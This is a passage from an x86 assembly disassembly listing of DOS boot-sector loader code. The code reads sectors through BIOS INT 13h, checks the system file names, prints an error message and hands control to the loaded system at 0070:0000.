  3376.     MOV  AL,[SI+05]          ;0931 8A4405
  3377.     XOR  AH,AH               ;0934 32E4
  3378.     MUL  Word Ptr [SI+0B]    ;0936 F7640B
  3379.     ADD  AX,[SI+03]          ;0939 034403
  3380.     ADD  AX,[SI+11]          ;093C 034411
  3381.     MOV  [0024],AX      ;093F A32400
  3382.     MOV  BX,7E00             ;0942 BB007E
  3383.     CALL 0A24           ;0945 E8DC00
  3384.     MOV  BX,ES               ;0948 8CC3
  3385.     MOV  AX,0070             ;094A B87000
  3386.     MOV  ES,AX               ;094D 8EC0
  3387.     MOV  AX,0020             ;094F B82000
  3388.     MUL  Word Ptr [SI+06]    ;0952 F76406
  3389.     MOV  CX,[SI]             ;0955 8B0C
  3390.     ADD  AX,CX               ;0957 03C1
  3391.     DEC  AX             ;0959 48
  3392.     DIV  CX             ;095A F7F1
  3393.     ADD  [0024],AX      ;095C 01062400
  3394.     MOV  CL,[002A]      ;0960 8A0E2A00
  3395.     MOV  AX,[0024]      ;0964 A12400
  3396.     CALL ;0971               ;0967 E80700
  3397.     PUSH ES             ;096A 06
  3398.     POP  DS             ;096B 1F
  3399.     JMP  0070:0000      ;096C EA00007000
  3400.                         ;
  3401. ;HEAVY NUMBER CRUNCHING HERE      ;
  3402.     PUSH BX             ;0971 53
  3403.     PUSH AX             ;0972 50
  3404.     MOV  AL,CL               ;0973 8AC1
  3405.     MUL  Byte Ptr [002B]          ;0975 F6262B00
  3406.     MOV  [0029],AL      ;0979 A22900
  3407.     POP  AX             ;097C 58
  3408.     MUL  Word Ptr [002B]          ;097D F7262B00
  3409.     DIV  Word Ptr [SI+0D]    ;0981 F7740D
  3410.     INC  DL             ;0984 FEC2
  3411.     MOV  [0028],DL      ;0986 88162800
  3412.     PUSH DX             ;098A 52
  3413.     XOR  DX,DX               ;098B 33D2
  3414.     DIV  Word Ptr [SI+0F]    ;098D F7740F
  3415.     MOV  [0021],DL      ;0990 88162100
  3416.     MOV  [0026],AX      ;0994 A32600
  3417.     POP  DX             ;0997 5A
  3418.     MOV  CL,[0029]      ;0998 8A0E2900
  3419.     ADD  DL,CL               ;099C 02D1
  3420.     MOV  AX,[SI+0D]          ;099E 8B440D
  3421.     INC  AX             ;09A1 40
  3422.     CMP  DL,AL               ;09A2 3AD0
  3423.     JBE  ;09AC               ;09A4 7606
  3424.     SUB  AL,[0028]      ;09A6 2A062800
  3425.     MOV  CL,AL               ;09AA 8AC8
  3426.     MOV  AL,CL               ;09AC 8AC1
  3427.     MOV  DX,[0026]      ;09AE 8B162600
  3428.     MOV  CL,06               ;09B2 B106
  3429.     SHL  DH,CL               ;09B4 D2E6
  3430.     OR   DH,[0028]      ;09B6 0A362800
  3431.     MOV  CX,DX               ;09BA 8BCA
  3432.     XCHG CH,CL               ;09BC 86E9
  3433.     MOV  DX,[0020]      ;09BE 8B162000
  3434.     MOV  AH,02               ;READ SECTOR
  3435.     PUSH AX             ;
  3436.     INT  13             ;
  3437.     POP  AX             ;09C7 58
  3438.     JB   ;09FC               ;09C8 7232
  3439.     SUB  [0029],AL      ;09CA 28062900
  3440.     JBE  ;09F5               ;09CE 7625
  3441.     CBW                 ;09D0 98
  3442.     MUL  Word Ptr [002D]          ;09D1 F7262D00
  3443.     ADD  BX,AX               ;09D5 03D8
  3444.     INC  Byte Ptr [0021]          ;09D7 FE062100
  3445.     MOV  DL,[0021]      ;09DB 8A162100
  3446.     CMP  DL,[SI+0F]          ;09DF 3A540F
  3447.     MOV  DL,01               ;09E2 B201
  3448.     MOV  [0028],DL      ;09E4 88162800
  3449.     JB   ;0998               ;09E8 72AE
  3450.     MOV  Byte Ptr [0021],00  ;09EA C606210000
  3451.     INC  Word Ptr [0026]          ;09EF FF062600
  3452.     JMP  ;0998               ;09F3 EBA3
  3453.     POP  BX             ;09F5 5B
  3454.     RET                 ;09F6 C3
  3455.                         ;
  3456. ;-----------------------------------------------------------------------;
  3457. ;                                           ;
  3458. ;-----------------------------------------------------------------------;
  3459.     MOV  SI,01B3             ;09F7 BEB301
  3460.     JMP  ;09FF               ;09FA EB03
  3461.     MOV  SI,01C5             ;09FC BEC501
  3462.     CALL L0A15               ;09FF E81300
  3463.     MOV  SI,01D4             ;0A02 BED401
  3464.     CALL L0A15               ;0A05 E80D00
  3465.     MOV  AH,00               ;0A08 B400
  3466.     INT  16             ;0A0A CD16
  3467.     MOV  AH,01               ;0A0C B401
  3468.     INT  16             ;0A0E CD16
  3469.     JNZ  0A0C           ;0A10 75FA
  3470.     JMP  ;08F8               ;0A12 E9E3FE
  3471.                         ;
  3472. L0A15:   LODSB                    ;L0A15
  3473.     OR   AL,AL               ;0A16 0AC0
  3474.     JZ   0A23           ;0A18 7409
  3475.     MOV  AH,0E               ;0A1A B40E
  3476.     MOV  BX,0007             ;0A1C BB0700
  3477.     INT  10             ;0A1F CD10
  3478.     JMP  L0A15               ;0A21 EBF2
  3479.     RET                 ;0A23 C3
  3480.                         ;
  3481. ;-----------------------------------------------------------------------;
  3482. ;                                           ;
  3483. ;-----------------------------------------------------------------------;
  3484.  
  3485.     MOV  CL,01               ;0A24 B101
  3486.     CALL ;0971               ;0A26 E848FF
  3487.     PUSH SI             ;0A29 56
  3488.     MOV  DI,BX               ;0A2A 8BFB
  3489.     MOV  AX,ES:[BX+1C]       ;0A2C 268B471C
  3490.     XOR  DX,DX               ;0A30 33D2
  3491.     DIV  Word Ptr [SI]       ;0A32 F734
  3492.     INC  AL             ;0A34 FEC0
  3493.     MOV  [002A],AL      ;0A36 A22A00
  3494.     MOV  SI,019D             ;0A39 BE9D01
  3495.     MOV  CX,000B             ;0A3C B90B00
  3496.     REPZ                ;0A3F F3
  3497.     CMPSB                    ;0A40 A6
  3498.     JNZ  ;09F7               ;0A41 75B4
  3499.     MOV  AX,ES:[BX+3A]       ;0A43 268B473A
  3500.     MOV  [0022],AX      ;0A47 A32200
  3501.     MOV  DI,BX               ;0A4A 8BFB
  3502.     ADD  DI,+20              ;0A4C 83C720
  3503.     MOV  SI,01A8             ;0A4F BEA801
  3504.     MOV  CX,000B             ;0A52 B90B00
  3505.     REPZ                ;0A55 F3
  3506.     CMPSB                    ;0A56 A6
  3507.     JNZ  ;09F7               ;0A57 759E
  3508.     POP  SI             ;0A59 5E
  3509.     RET                 ;0A5A C3
  3510.                         ;
  3511. ;-----------------------------------------------------------------------;
  3512. ;                                           ;
  3513. ;-----------------------------------------------------------------------;
  3514. CODE     ENDS                ;
  3515.     END                 ;
  3516.